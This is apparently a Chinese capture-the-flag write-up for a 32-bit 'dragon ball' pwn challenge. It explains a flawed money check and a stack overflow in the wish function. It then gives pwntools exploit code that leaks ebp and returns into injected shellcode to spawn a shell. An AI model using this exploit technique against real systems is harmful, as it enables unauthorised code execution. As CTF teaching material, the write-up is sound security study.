此题的漏洞主要是在第4个选项,即wish函数中,在里面有栈溢出漏洞,能够利用栈溢出返回到任意地址中。用ida查看程序,需要集齐7龙珠才能许愿。初始有15元,购买1个龙珠5元,出售1个龙珠3元,在购买时进行下述检查:
1 2 3 4 if ( !money ) return puts ("You don't have enough money." ); money -= 5 ; ++dragon_ball_num;
只要金钱不为0,就可以一直购买,因此先购买1个龙珠、卖出1个龙珠,然后再连续购买7个龙珠即可。
1 2 3 4 buy() sell() for i in range(0 , 7 ): buy()
保护措施如下:
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
因此我们可以让程序返回到栈上去执行我们注入的shellcode。使用pattern获取返回值的偏移,为0xa4。wish函数中,两次输入长度分别为0x64和0x40,使用pwntool生成shellcode:
1 asm(shellcraft.i386.linux.sh())
shellcode长度为44,两次输入有部分区域重叠,非重叠区域为0x68-0x38=48,刚好能够容纳得下shellcode,shellcode能完整的写入。为了使函数能够返回到栈上,我们需要泄漏栈地址信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int wish () { char v1; int v2; memset (&v1, 0 , 0x60 u); if ( dragon_ball_num != 7 ) return puts ("You can't make a wish." ); printf ("Tell me your wish: " ); read_input_raw(&v1, 0x68 ); printf ("Your wish is %s, is it right?\n(Y/N) " , &v1); read_input_raw(&v2, 0x40 ); return puts ("OK." ); }
第一次输入的0x68长度的字符串后正好是ebp地址,因此写入长为0x68的字符串即可让printf函数打印出ebp信息:
1 2 3 4 5 6 p.recvuntil('choice: ' ) p.sendline('4' ) payload = 'A' * 0x68 p.sendline(payload) p.recvuntil(payload) ebp = u32(p.recv(4 ))
获取栈信息后构造新的payload拿shell:
1 2 3 4 5 6 7 8 p.recvuntil('choice: ' ) p.sendline('4' ) execve_sh = asm(shellcraft.i386.linux.sh()) payload = execve_sh + 'A' * (0xa4 - len(execve_sh)) + p32(ebp - 0x88 ) p.sendline(payload) p.interactive() p.close()
0x88为main函数到shellcode的偏移,因为wish函数栈大小为0x68,main函数为0x20,因此此处为0x88。